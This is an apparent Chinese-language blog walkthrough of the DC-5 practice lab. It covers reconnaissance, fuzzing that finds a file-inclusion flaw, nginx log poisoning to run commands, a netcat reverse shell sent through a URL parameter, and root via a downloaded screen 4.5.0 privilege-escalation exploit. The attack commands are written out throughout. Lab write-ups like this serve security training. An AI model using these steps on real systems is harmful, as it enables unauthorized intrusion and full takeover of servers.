【DC-5靶场渗透】


前言

DC-5 是一个具有文件包含漏洞的靶场,那么我们如何去发现文件包含漏洞以及利用它反弹shell,再提权呢?

一、nmap,dirb扫描

做渗透测试的第一步一定是信息收集。常用工作有nmap,dirb等。
已知靶场地址为192.168.0.102
可正常访问

使用nmap扫描开放的端口

nmap -sT -p- --min-rate 2000 192.168.0.102


再用dirb扫描隐藏文件

dirb http://192.168.0.102 /usr/share/wordlists/dirb/big.txt  -X .php,.txt


扫描到以下php文件
其中只有footer.php和thankyou.php在页面中没有显示

并且在contact页面submit提交后可看到thankyou.php

所以只有footer.php文件没有显示
查看一下

注意看该页面内容在另一个地方也出现过

footer.php独立显示的内容显示在了thankyou.php页面上,可以猜想是否是thankyou.php文件包含了footer.php文件,但是并不知道是否真的有文件包含,以及可利用否。


二、模糊化测试

所以继续做模糊化测试

wfuzz -w /usr/share/wfuzz/wordlist/general/test.txt -w /usr/share/wfuzz/wordlist/Injections/Traversal.txt http://192.168.0.102/thankyou.php?FUZZ=FUZ2Z

查看结果

尝试file参数

文件包含成功,文件包含漏洞也就找到了


三、文件包含漏洞利用

可以利用在liunx日志中写入php代码,制造命令执行漏洞
liunx登录日志默认路径为
/var/log/nginx/access.log
包含日志文件bp抓包写入php代码


再通过在url中提交cmd参数值,进行命令执行
http://192.168.0.102/thankyou.php?file=/var/log/nginx/access.log&cmd=ls
查看页面源代码

命令执行成功


四、shell反弹

利用命令执行反弹shell
因为都在内网当中所以不需要借助公网端口映射,监听端口
kali监听8001端口
nc -lvp 8001

url:http://192.168.0.102/thankyou.php?file=/var/log/nginx/access.log&cmd=nc 192.168.0.107 8001 -e /bin/bash

kali上shell反弹成功

页面优化

 python -c 'import pty;pty.spawn("/bin/bash")'


五、提权

尝试sudo提权
sudo -l

不可行
查看etc/passwd 和计划任务 /etc/crontab,都没有发现
查看suid位提权方式

find / -user root -perm -4000 -print 2>/dev/null

和自己本机做对比

发现/bin/screen-4.5.0有点奇怪
查看有无权限提升模块

searchsploit screen 4.5.0


下载权限提升模块

searchsploit -m 41152
searchsploit -m 41154


然后开启一个web服务,上传可利用的模块
在靶机端,进入/tmp目录,利用wget 下载模块

python3 -m http.server 80  
wget http://192.168.0.107/41154.sh


给模块可执行权限
chmod +x 41154.sh
再运行 41154.sh

但是报错,可能是因为靶机gcc环境不行,不能运行模块,我们可以在自己kali主机运行后再将其传到靶机上
创建一个新的目录baby,将41154.sh移入并运行

查看/tmp中生成的文件

将这两个文件上传到靶机

都加上可执行权限
再运行
./rootshell
./41154.sh
可获得root权限


总结

以上是DC-5 靶场的整个渗透过程,也是很经典的渗透流程,希望对大家有帮助。

猜你喜欢

转载自blog.csdn.net/qq_61872115/article/details/125599933
今日推荐